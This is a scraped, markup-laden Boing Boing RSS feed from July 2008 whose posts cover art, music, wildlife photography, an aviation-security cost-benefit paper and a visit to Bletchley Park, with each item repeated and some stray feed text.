alt=""/&gt;http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fst-louis-cops-turn-f.htmlhttp://www.boingboing.net/2008/07/21/st-louis-cops-turn-f.html    Artist taking commissions to pay for spider bite treatmenthttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341727083/artits-taking-commis.htmlArtMark FrauenfelderMon, 21 Jul 2008 15:27:25 -0500tag:www.boingboing.net,2008://1.48119

    A poisonous spider bit artist Matthew Woodson, and the medical treatment is expensive. He's accepting commissions to offset the costs of the treatment, which is expected to last eight months. (Portfolio here)

    On Monday of last week I was bitten by a yet unknown poisonous spider on my right knee. By Tuesday I was running a high fever and unable to walk. On Friday evening I collapsed and was rushed to the ER. After a series of x-rays and a whole lot of examination, I was informed that I had a rather large abscess and cellulitis due to the spider's bite. I was sent home early Saturday morning after having my knee surgically "drained", and in more pain than I have ever been in. After a doctor's appointment this Monday, another abscess was drained and I was informed that I would need to see a doctor weekly until the wound had healed, which could possibly take up to 8 months. Within these 8 months there will remain the very real threat of the infection spreading into the bone of my knee, as well as the possibility of blood poisoning.

    Any possible commission you could have for me; gifts, wedding invitations, cards, wall art, tattoos, anything. I am interested in the job. I will also definitely consider larger personal commissions, considering the work involved. I would prefer to only be working in black and white, but don't be afraid to ask about color. I haven't exactly figured out how pricing will go yet, but obviously pricing will be negotiable and varying, but for small to medium sized drawings I was thinking between $100 - $500 through paypal.

    Kill Spiders, Buy Art (via Drawn)

    ]]>     A poisonous spider bit artist Matthew Woodson, and the medical treatment is expensive. He's accepting commissions to offset the costs of the treatment, which is expected to last eight months. (Portfolio here) On Monday of last week I was bitten by a yet unknown poisonous spider on my right knee. By Tuesday I was running a high fever and unable to walk. On Friday evening I collapsed and was rushed to the ER. After a series of x-rays and a whole lot of examination, I was informed that I had a rather large abscess and cellulitis due to the spider's bite. I was sent home early Saturday morning after having my knee surgically "drained", and in more pain than I have ever been in. After a doctor's appointment this Monday, another abscess was drained and I was informed that I would need to see a doctor weekly until the wound had healed, which could possibly take up to 8 months. Within these 8 months there will remain the very real threat of the infection spreading into the bone of my knee, as well as the possibility of blood poisoning. Any possible commission you could have for me; gifts, wedding invitations, cards, wall art, tattoos, anything. I am interested in the job. I will also definitely consider larger personal commissions, considering the work involved. I would prefer to only be working in black and white, but don't be afraid to ask about color. I haven't exactly figured out how pricing will go yet, but obviously pricing will be negotiable and varying, but for small to medium sized drawings I was thinking between $100 - $500 through paypal. Kill Spiders, Buy Art (via Drawn)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=a58168258819c48131b3fbef2359896f" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=a58168258819c48131b3fbef2359896f" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fartits-taking-commis.htmlhttp://www.boingboing.net/2008/07/21/artits-taking-commis.html    Bauhaus topshttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341716065/bauhaus-tops.htmlArtDavid PescovitzMon, 21 Jul 2008 12:13:41 -0500tag:www.boingboing.net,2008://1.48117Optischer Farbmischer (optical color mixer) tops in the early 1920s. Reproductions by Naef are available from Fawn & Forest for $49. From the product description:
    System Uploads Processed 819 Huge The first production of this toy started in 1977. The "Bauhaus Optischer Farbmischer" shows us how the rotation of a top brings about a color blend. Varying aspects of color theory are deomonstrated on the reverse of the inter-changeable color discs Not for children under 3 years old.
    Bauhaus tops (Fawn & Forest, thanks Kelly Sparks!)

    ]]>     Bauhaus artist Ludwig Hirschfeld-Mack designed these Optischer Farbmischer (optical color mixer) tops in the early 1920s. Reproductions by Naef are available from Fawn & Forest for $49. From the product description: The first production of this toy started in 1977. The "Bauhaus Optischer Farbmischer" shows us how the rotation of a top brings about a color blend. Varying aspects of color theory are deomonstrated on the reverse of the inter-changeable color discs Not for children under 3 years old. Bauhaus tops (Fawn & Forest, thanks Kelly Sparks!)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=dfba2e222cc72489a80eef5b28184e1c" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=dfba2e222cc72489a80eef5b28184e1c" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fbauhaus-tops.htmlhttp://www.boingboing.net/2008/07/21/bauhaus-tops.html    Leopard attacks crocodilehttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341696464/leopard-attacks-croc.htmlDavid PescovitzMon, 21 Jul 2008 11:50:13 -0500tag:www.boingboing.net,2008://1.48116Wildlifeeleopardddd Wildlife photographer Hal Brindley captured amazing photos of a leopard attacking a crocodile in Kruger National Park, South Africa. You can see all of the photos and also a video sequence of the images at Brindley's site.
    Leopard Attacking Crocodile photos and video (HalBrindley.com, thanks Sean Ness!)

    ]]>     Wildlife photographer Hal Brindley captured amazing photos of a leopard attacking a crocodile in Kruger National Park, South Africa. You can see all of the photos and also a video sequence of the images at Brindley's site. Leopard Attacking Crocodile photos and video (HalBrindley.com, thanks Sean Ness!)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=27a39d6883d26896b75d82fa2d4bb2e8" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=27a39d6883d26896b75d82fa2d4bb2e8" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fleopard-attacks-croc.htmlhttp://www.boingboing.net/2008/07/21/leopard-attacks-croc.html    Del-Byzanteens, featuring Jim Jarmusch and John Luriehttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341696465/delbyzanteens-featur.htmlDavid PescovitzMon, 21 Jul 2008 11:36:32 -0500tag:www.boingboing.net,2008://1.48113
    Del-Byzanteens was a No Wave band in the early 1980s whose line-up included film director/keyboardist Jim Jarmusch on keyboards. Actor/musician John Lurie sometimes played with them too and writer Luc Sante penned some of their lyrics. BB pal Vann Hall found not one, but two videos on YouTube of Del-Byzanteens covering The Supremes' "My World Is Empty Without You." John Lurie is featured in two of them. Del Byzanteens "My World is Empty" video #1, #2 (YouTube)

    ]]>     Del-Byzanteens was a No Wave band in the early 1980s whose line-up included film director/keyboardist Jim Jarmusch on keyboards. Actor/musician John Lurie sometimes played with them too and writer Luc Sante penned some of their lyrics. BB pal Vann Hall found not one, but two videos on YouTube of Del-Byzanteens covering The Supremes' "My World Is Empty Without You." John Lurie is featured in two of them. Del Byzanteens "My World is Empty" video #1, #2 (YouTube)...<br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=982a0a4768056b48651de97ff944593c"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=982a0a4768056b48651de97ff944593c"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=982a0a4768056b48651de97ff944593c" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fdelbyzanteens-featur.htmlhttp://www.boingboing.net/2008/07/21/delbyzanteens-featur.html    Frank Calloway, 112, visionary artisthttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341681761/frank-calloway-112-v.htmlArtDavid PescovitzMon, 21 Jul 2008 11:20:55 -0500tag:www.boingboing.net,2008://1.48112 Callowayyyymura
    Frank Calloway draws pen, marker, and crayon murals on butcher block paper, some more than 30 feet long. Calloway is 112 years old and has lived in mental hospitals since 1952. His work will be featured in an exhibit at Baltimore's American Visionary Art Museum. The Associated Press profiled Calloway and created a wonderful slideshow with Calloway speaking. From the AP:
    Calloway views art as his job and sits at a table by a window drawing for seven to nine hours a day, usually wearing blue denim overalls and a crisp dress shirt, said Nedra Moncrief-Craig, director of Alice M. Kidd Nursing Facility, a state home where Calloway lives...

    (America Visionary Art Museum director Rebecca) Hoffberger called Calloway brilliant and described looking through notebooks full of numbers he keeps and noticing that there was a definite logical pattern to the strings of figures. There is "an instinctive attraction to math that is so inherent in his work," she said.

    Rows of numbers line the edges of some of his artwork, and he sometimes stops in the middle of conversations to methodically recite multiplication tables.

    Calloway is content being quietly absorbed in his work, but he also enjoys talking if people ask questions, Moncrief-Craig said. He listens intently and responds at length in a deep, gravelly voice as he rocks gently back and forth, often punctuating the end of a story with a soft chuckle and a huge smile that lights up a broad face that has very few wrinkles.
    Frank Calloway profile (CNN)

    ]]>     Frank Calloway draws pen, marker, and crayon murals on butcher block paper, some more than 30 feet long. Calloway is 112 years old and has lived in mental hospitals since 1952. His work will be featured in an exhibit at Baltimore's American Visionary Art Museum. The Associated Press profiled Calloway and created a wonderful slideshow with Calloway speaking. From the AP: Calloway views art as his job and sits at a table by a window drawing for seven to nine hours a day, usually wearing blue denim overalls and a crisp dress shirt, said Nedra Moncrief-Craig, director of Alice M. Kidd Nursing Facility, a state home where Calloway lives... (America Visionary Art Museum director Rebecca) Hoffberger called Calloway brilliant and described looking through notebooks full of numbers he keeps and noticing that there was a definite logical pattern to the strings of figures. There is "an instinctive attraction to math that is so inherent in his work," she said. Rows of numbers line the edges of some of his artwork, and he sometimes stops in the middle of conversations to methodically recite multiplication tables. Calloway is content being quietly absorbed in his work, but he also enjoys talking if people ask questions, Moncrief-Craig said. He listens intently and responds at length in a deep, gravelly voice as he rocks gently back and forth, often punctuating the end of a story with a soft chuckle and a huge smile that lights up a broad face that has very few wrinkles. Frank Calloway profile (CNN)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=cbf590131ebaf9447e15c9d1cf168986" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=cbf590131ebaf9447e15c9d1cf168986" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Ffrank-calloway-112-v.htmlhttp://www.boingboing.net/2008/07/21/frank-calloway-112-v.html    Ballardian pool on Flickrhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341650170/ballardian-pool-on-f.htmlArtBookDavid PescovitzMon, 21 Jul 2008 10:52:11 -0500tag:www.boingboing.net,2008://1.48109Ballardpoool Bloodgutttttt
    These fantastic photos are from a Flickr pool devoted to Ballardian imagery. According to the Collins English Dictionary, "Ballardian" is an adjective "resembling or suggestive of the conditions described in (my favorite novelist JG) Ballard’s novels & stories, esp. dystopian modernity, bleak man-made landscapes & the psychological effects of technological, social or environmental developments." (Above left, "Dummy" by Dr Ro; above right, "Blood & Guts" by Lost America.) JG Ballard pool (Flickr)

    ]]>     These fantastic photos are from a Flickr pool devoted to Ballardian imagery. According to the Collins English Dictionary, "Ballardian" is an adjective "resembling or suggestive of the conditions described in (my favorite novelist JG) Ballard’s novels & stories, esp. dystopian modernity, bleak man-made landscapes & the psychological effects of technological, social or environmental developments." (Above left, "Dummy" by Dr Ro; above right, "Blood & Guts" by Lost America.) JG Ballard pool (Flickr)...<br style="clear: both;"/&gt; <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=c6f4810003d913178fd6008e90bf3deb" height="1" width="1"/&gt; <img src="http://www.pheedo.com/feeds/tracker.php?i=c6f4810003d913178fd6008e90bf3deb" style="display: none;" border="0" height="1" width="1" alt=""/&gt;http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fballardian-pool-on-f.htmlhttp://www.boingboing.net/2008/07/21/ballardian-pool-on-f.html    BBtv - Russell Porter: Hot 8 Brass Band of New Orleans (music)http://feeds.feedburner.com/~r/boingboing/iBag/~3/341590428/bbtv-russell-porter-12.htmlXeni JardinMon, 21 Jul 2008 09:21:45 -0500tag:www.boingboing.net,2008://1.48093

    Boing Boing tv's UK-based music correspondent Russell Porter of "Porter Report" fame interviews the legendary Hot 8 Brass Band, from New Orleans.

    Band leader Bennie "Big Peter" Pete explains the history of second line, the roots of New Orleans jazz, and what it took to survive as jazz band in the French Quarter.

    Today's BBtv episode is a little longer than usual -- 9 minutes -- so we can share with you an extended musical segment, with the Hot 8 performing their song "What's My Name" live on the streets of Brighton. Their performance is breathtaking, and quite possibly the funkiest, most soulful sounds you've ever heard on Boing Boing. The band is currently on tour throughout the USA. Enjoy!

    - - - - - - - - - - - - - - - - - - - -

    Link to Boing Boing tv post with discussion, downloadable video, and instructions on how to subscribe to the BBtv video podcast.

    - - - - - - - - - - - - - - - - - - - -

    Previous PORTER REPORT episodes on BBtv:

  • Russell Porter: Transgressive and rockfeedback.com, pt. 2
  • Russell Porter roundtable: Transgressive Records, rockfeedback.com, pt. 1
  • Russell Porter with Alice Russell, pt. 2
  • Russell Porter with Alice Russell
  • Russell Porter and Cadence Weapon, pt. 1.
  • Russell Porter and Cadence Weapon, pt. 2.
  • Russell Porter with George Pringle
  • Russell Porter with The Young Knives pt 1
  • Russell Porter with The Young Knives pt 2
  • Russell Porter with The Futureheads
  • Russell Porter with The Guillotines
  • Russell Porter with Peggy Sue and the Pirates
  • Russell Porter with Dockers MC
  • Russell Porter with Dan le Sac vs. Scroobius Pip

    • ]]>     Boing Boing tv's UK-based music correspondent Russell Porter of "Porter Report" fame interviews the legendary Hot 8 Brass Band, from New Orleans. Band leader Bennie "Big Peter" Pete explains the history of second line, the roots of New Orleans jazz, and what it took to survive as jazz band in the French Quarter. Today's BBtv episode is a little longer than usual -- 9 minutes -- so we can share with you an extended musical segment, with the Hot 8 performing their song "What's My Name" live on the streets of Brighton. Their performance is breathtaking, and quite possibly the funkiest, most soulful sounds you've ever heard on Boing Boing. The band is currently on tour throughout the USA. Enjoy! - - - - - - - - - - - - - - - - - - - - Link to Boing Boing tv post with discussion, downloadable video, and instructions on how to subscribe to the BBtv video podcast. - - - - - - - - - - - - - - - - - - - - Previous PORTER REPORT episodes on BBtv: Russell Porter: Transgressive and rockfeedback.com, pt. 2 Russell Porter roundtable: Transgressive Records, rockfeedback.com, pt. 1 Russell Porter with Alice Russell, pt. 2 Russell Porter with Alice Russell Russell Porter and Cadence Weapon, pt. 1. Russell Porter and Cadence Weapon, pt. 2. Russell Porter with George Pringle Russell Porter with The Young Knives pt 1 Russell Porter with The Young Knives pt 2 Russell Porter with The Futureheads Russell Porter with The Guillotines Russell Porter with Peggy Sue and the Pirates Russell Porter with Dockers MC Russell Porter with Dan le Sac vs. Scroobius Pip...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=4a6e66713013b1fd6068ec4631afca8e" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=4a6e66713013b1fd6068ec4631afca8e" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fbbtv-russell-porter-12.htmlhttp://www.boingboing.net/2008/07/21/bbtv-russell-porter-12.html    Furniture from factory wastehttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341482377/furniture-from-facto.htmlArtmakerCory DoctorowMon, 21 Jul 2008 07:12:51 -0500tag:www.boingboing.net,2008://1.48101
    Amy sez, "Factory waste was collected in Denmark and then turned into a furniture collection. This was my graduate project at Denmark's School of Design. The pieces are made entirely out of wood and consist of a chair, a book box and 12 lamps which fit inside each other like babooshka dolls." Link (Thanks, Amy!)

    ]]>     Amy sez, "Factory waste was collected in Denmark and then turned into a furniture collection. This was my graduate project at Denmark's School of Design. The pieces are made entirely out of wood and consist of a chair, a book box and 12 lamps which fit inside each other like babooshka dolls." Link (Thanks, Amy!)...<br style="clear: both;"/> <a href="http://www.pheedo.com/feeds/ht.php?t=c&amp;i=25e40993d7a2990cfce778c59e0b2970"><img src="http://www.pheedo.com/feeds/ht.php?t=v&amp;i=25e40993d7a2990cfce778c59e0b2970" border="0" /></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=25e40993d7a2990cfce778c59e0b2970" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Ffurniture-from-facto.htmlhttp://www.boingboing.net/2008/07/21/furniture-from-facto.html    Using cost-benefit to evaluate aviation securityhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341482379/using-costbenefit-to.htmlCivlibSafetyScienceCory DoctorowMon, 21 Jul 2008 07:05:23 -0500tag:www.boingboing.net,2008://1.48100work and which ones are showy wastes of money and pocket-liners for slimy government contractors:
    Hardening cockpit doors has the highest risk reduction (16.67%) at lowest additional cost of $40 million. On the other hand, the Federal Air Marshal Service costs $900 million pa but reduces risk by only 1.67%. The Federal Air Marshal Service may be more cost-effective if it is able to show extra benefit over the cheaper measure of hardening cockpit doors. However, the Federal Air Marshal Service seems to have significantly less benefit which means that hardening cockpit doors is the more cost-effective measure.
    Link (via Schneier)

    ]]>    Stewart and Mueller's paper, "Assessing the risks, costs and benefits of United States aviation security measures," (published by the University of Newcastle, Australia) does an amazing job of unpicking which post-911 security measures actually work and which ones are showy wastes of money and pocket-liners for slimy government contractors: Hardening cockpit doors has the highest risk reduction (16.67%) at lowest additional cost of $40 million. On the other hand, the Federal Air Marshal Service costs $900 million pa but reduces risk by only 1.67%. The Federal Air Marshal Service may be more cost-effective if it is able to show extra benefit over the cheaper measure of hardening cockpit doors. However, the Federal Air Marshal Service seems to have significantly less benefit which means that hardening cockpit doors is the more cost-effective measure. Link (via Schneier)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=116566dc82f9339405d55f081bdbd654" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=116566dc82f9339405d55f081bdbd654" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fusing-costbenefit-to.htmlhttp://www.boingboing.net/2008/07/21/using-costbenefit-to.html    Mr and Mrs Smith blog -- carnal pleasures taken seriouslyhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341482381/mr-and-mrs-smith-blo.htmlHappy MutantsCory DoctorowMon, 21 Jul 2008 07:01:45 -0500tag:www.boingboing.net,2008://1.48099
    As promised, we’ve been quizzing top New York Times coffee blogger Oliver Schwaner-Albright about all things brown and beautiful (that doesn’t sound quite right, but you get the gist of what I’m trying to say!), as part of our quest to track down the Best coffee in London.

    Tam - who is the real-life Mrs Smith, in case you hadn’t already worked that out - caught up with him over the weekend. So here it is: everything you ever wanted to know about coffee but were afraid to ask*

    *NB possibly not completely true: please don’t come crying to us if your coffee question is not answered here. We have tried to cover all bases but, sheesh, we’re only human… Link (Thanks, Tamara!)

    ]]>    The good people at the Mr and Mrs Smith travel books have started up a blog. Mr and Mrs Smith guides review romantic boutique hotels around the world -- great places to go away for a dirty weekend (and check in as Mr and Mrs Smith, natch). I've reviewed a couple hotels for them in the past -- not as a paid gig, just because it was so much fun -- and I've since become an avid fan of the guides, both for planning real trips and for daydreaming about places I might go someday. The blog is a great source of sybaritic pleasure taken very seriously indeed. As promised, we’ve been quizzing top New York Times coffee blogger Oliver Schwaner-Albright about all things brown and beautiful (that doesn’t sound quite right, but you get the gist of what I’m trying to say!), as part of our quest to track down the Best coffee in London. Tam - who is the real-life Mrs Smith, in case you hadn’t already worked that out - caught up with him over the weekend. So here it is: everything you ever wanted to know about coffee but were afraid to ask* *NB possibly not completely true: please don’t come crying to us if your coffee question is not answered here. We have tried to cover all bases but, sheesh, we’re only human… Link (Thanks, Tamara!)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=e9290e46ee4ca0dec737d333db308475" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=e9290e46ee4ca0dec737d333db308475" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fmr-and-mrs-smith-blo.htmlhttp://www.boingboing.net/2008/07/21/mr-and-mrs-smith-blo.html    Bletchley Park kicks so much asshttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341408637/bletchley-park-kicks.htmlGadgetsHappy MutantsOld schoolCory DoctorowMon, 21 Jul 2008 05:14:50 -0500tag:www.boingboing.net,2008://1.48096
    Yesterday, I got one of the best and most memorable birthday presents of my life -- a trip to the legendary Bletchley Park, site of the British WWII codebreaking effort, where Turing and co invented modern computer science and cryptography. The site is just as I'd imagined it -- a rotting, lovely old mansion surrounded by modest, slope-shouldered sheds with a variety of exhibits staffed by knowledgeable, friendly geeks who clearly find it all every bit as exciting as I do.

    The exhibits are a nice mix of technical and historical, ranging from a truly impressive collection of memorabilia related to Winston Churchill (who visited Bletchley and congratulated the women and men there on their excellent work), including his school report-card that makes him out to be a villainous, disruptive and scattered child; to a series of exhibits of vintage wartime toys. There's a museum of ancient cinematographic equipment complete with a beautiful little theatre that shows reels of vintage newsreels and propaganda films. And of course, there are the computers and related devices.


    The cipher machines and radio equipment naturally form the centerpiece of the museum, and there's an entire computer history museum onsite (it was closed, with the strangest sign I've ever seen, words to the effect of, "This site is closed for maintenance. Enter at your own risk. You may be escorted off the grounds by security if you are caught here." Huh?) along with the notorious Nazi Enigma machine that was kidnapped in 2000 and ransomed back (the crime was never solved). The historic material on the Enigma (which began life as a commercial product before the war!) is really excellent, as are the technical explanations of how it worked.


    But best of all are the "rebuilds" -- reconstructions from plans of the bombes (parallel decoding machines) and Colossus (the massive and gorgeous machine that was one of the earliest general-purpose computers. These hulking beasts are real artisanal pieces, with the hand-crafted, prideful look of devices built by loving and obsessive engineers who really, really care about their work.


    Walking the grounds, I got a real sense of the lives of the people who'd worked at Bletchley, through a series of exhibitions that included quotations from oral histories about the dress, romance, food, family life and internecine conflict that characterized Bletchley Park during the war years. The exhibit on clothing was especially memorable, if only because it could bring home the gold for Britain in the 2012 Scariest Mannequin event, as was the astoundingly cool room devoted to the wartime use of messenger pigeons, including replicas of the awards given to especially brave and dedicated birds.

    We spent three hours on site and barely scratched the surface. We had hardly any time to look at the war-plane, didn't get to the gigantic model railroad exhibit, didn't see the whole film presentation at the Enigma theatre, and only got the most hurried of walks around the American Gardens -- and we missed the mansion tour altogether. I could have easily spent eight or more hours there, and still wanted for more. Just the tantalizing mini-lecture I got on the Colossus rebuild from one of the electronics engineers who worked on it was enough to pique my interest, and I could have spent an hour looking at the details in Turing's office.


    The Trust that runs Bletchley Park has done a really fine job, and is clearly thinking creatively about the best way to continue to fund their operations. The mansion's slate roof is in need of a multi-million-pound replacement, and they're selling "genuine fragments" of the existing slate -- holy relics of crypto's formative years, as well as soliciting donations and selling memberships. But most intriguing was the idea of renting out part or all of the site for parties and weddings -- maybe for my 40th birthday in three years...
    Link, Link to my photos

    ]]>     Yesterday, I got one of the best and most memorable birthday presents of my life -- a trip to the legendary Bletchley Park, site of the British WWII codebreaking effort, where Turing and co invented modern computer science and cryptography. The site is just as I'd imagined it -- a rotting, lovely old mansion surrounded by modest, slope-shouldered sheds with a variety of exhibits staffed by knowledgeable, friendly geeks who clearly find it all every bit as exciting as I do. The exhibits are a nice mix of technical and historical, ranging from a truly impressive collection of memorabilia related to Winston Churchill (who visited Bletchley and congratulated the women and men there on their excellent work), including his school report-card that makes him out to be a villainous, disruptive and scattered child; to a series of exhibits of vintage wartime toys. There's a museum of ancient cinematographic equipment complete with a beautiful little theatre that shows reels of vintage newsreels and propaganda films. And of course, there are the computers and related devices. The cipher machines and radio equipment naturally form the centerpiece of the museum, and there's an entire computer history museum onsite (it was closed, with the strangest sign I've ever seen, words to the effect of, "This site is closed for maintenance. Enter at your own risk. You may be escorted off the grounds by security if you are caught here." Huh?) along with the notorious Nazi Enigma machine that was kidnapped in 2000 and ransomed back (the crime was never solved). The historic material on the Enigma (which began life as a commercial product before the war!) is really excellent, as are the technical explanations of how it worked. But best of all are the "rebuilds" -- reconstructions from plans of the bombes (parallel decoding machines) and Colossus (the massive and gorgeous machine that was one of the earliest general-purpose computers. These hulking beasts are real artisanal pieces, with the hand-crafted, prideful look of devices built by loving and obsessive engineers who really, really care about their work. Walking the grounds, I got a real sense of the lives of the people who'd worked at Bletchley, through a series of exhibitions that included quotations from oral histories about the dress, romance, food, family life and internecine conflict that characterized Bletchley Park during the war years. The exhibit on clothing was especially memorable, if only because it could bring home the gold for Britain in the 2012 Scariest Mannequin event, as was the astoundingly cool room devoted to the wartime use of messenger pigeons, including replicas of the awards given to especially brave and dedicated birds. We spent three hours on site and barely scratched the surface. We had hardly any time to look at the war-plane, didn't get to the gigantic model railroad exhibit, didn't see the whole film presentation at the Enigma theatre, and only got the most hurried of walks around the American Gardens -- and we missed the mansion tour altogether. I could have easily spent eight or more hours there, and still wanted for more. Just the tantalizing mini-lecture I got on the Colossus rebuild from one of the electronics engineers who worked on it was enough to pique my interest, and I could have spent an hour looking at the details in Turing's office. The Trust that runs Bletchley Park has done a really fine job, and is clearly thinking creatively about the best way to continue to fund their operations. The mansion's slate roof is in need of a multi-million-pound replacement, and they're selling "genuine fragments" of the existing slate -- holy relics of crypto's formative years, as well as soliciting donations and selling memberships. But most intriguing was the idea of renting out part or all of the site for parties and weddings -- maybe for my 40th birthday in three years... Link, Link to my photos...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=7059b0ffc0cc0627f0108117d1d48275" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=7059b0ffc0cc0627f0108117d1d48275" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fbletchley-park-kicks.htmlhttp://www.boingboing.net/2008/07/21/bletchley-park-kicks.html    Hams of Bletchley Parkhttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341397636/hams-of-bletchley-pa.htmlCory DoctorowMon, 21 Jul 2008 04:46:41 -0500tag:www.boingboing.net,2008://1.48095meets at Bletchley Park on Mondays, and volunteers from the society staff a booth in the museum, surrounded by postcards and certificates from other Hams around the world.
    In 1993, Radio Club Members Warren Backhouse, John James, Eric Simpson and David White, who had been meeting every Wednesday at the Bletchley Park Social Club for many years, decided to assist in a recently set-up project to save the Bletchley Park code breaking centre from demolition. Their (unspoken) objective was to secure a toe-hold on the Bletchley Park site, with the intention of obtaining premises which would be suitable for use by the Radio Club.

    Warren Backhouse became the Chairman of this unofficial group, which attended many meetings for volunteers, held between mid 1993 and 5th February 1994 when Bletchley Park opened to the Public for the first time. The group constructed a working replica of a Middle-East “Y“ Station[1], which at the time was the only operational exhibit on the site.

    Link

    ]]>    I've always loved amateur radio enthusiasts, and many's the time I wished I had a Ham license and a set of my own. But as cool as Ham is as a hobby, it is infinitely cooler for the Hams of Milton Keynes, UK, who are within spitting distance of the legendary Bletchley Park, the site of the famous WWII codebreaking effort that decoded the Nazi messages captured by intrepid Hams from across the UK using giant, beautiful computers. The Milton Keynes Amateur Radio Society actually meets at Bletchley Park on Mondays, and volunteers from the society staff a booth in the museum, surrounded by postcards and certificates from other Hams around the world. In 1993, Radio Club Members Warren Backhouse, John James, Eric Simpson and David White, who had been meeting every Wednesday at the Bletchley Park Social Club for many years, decided to assist in a recently set-up project to save the Bletchley Park code breaking centre from demolition. Their (unspoken) objective was to secure a toe-hold on the Bletchley Park site, with the intention of obtaining premises which would be suitable for use by the Radio Club. Warren Backhouse became the Chairman of this unofficial group, which attended many meetings for volunteers, held between mid 1993 and 5th February 1994 when Bletchley Park opened to the Public for the first time. The group constructed a working replica of a Middle-East “Y“ Station[1], which at the time was the only operational exhibit on the site. Link...<br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=01021174089575bd2ab3f1028d08b58a"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=01021174089575bd2ab3f1028d08b58a"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=01021174089575bd2ab3f1028d08b58a" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fhams-of-bletchley-pa.htmlhttp://www.boingboing.net/2008/07/21/hams-of-bletchley-pa.html    Pocket Enigma Machine in a CD jewel casehttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341388889/pocket-enigma-machin.htmlGadgetsHappy MutantsKidsCory DoctorowMon, 21 Jul 2008 04:33:49 -0500tag:www.boingboing.net,2008://1.48094
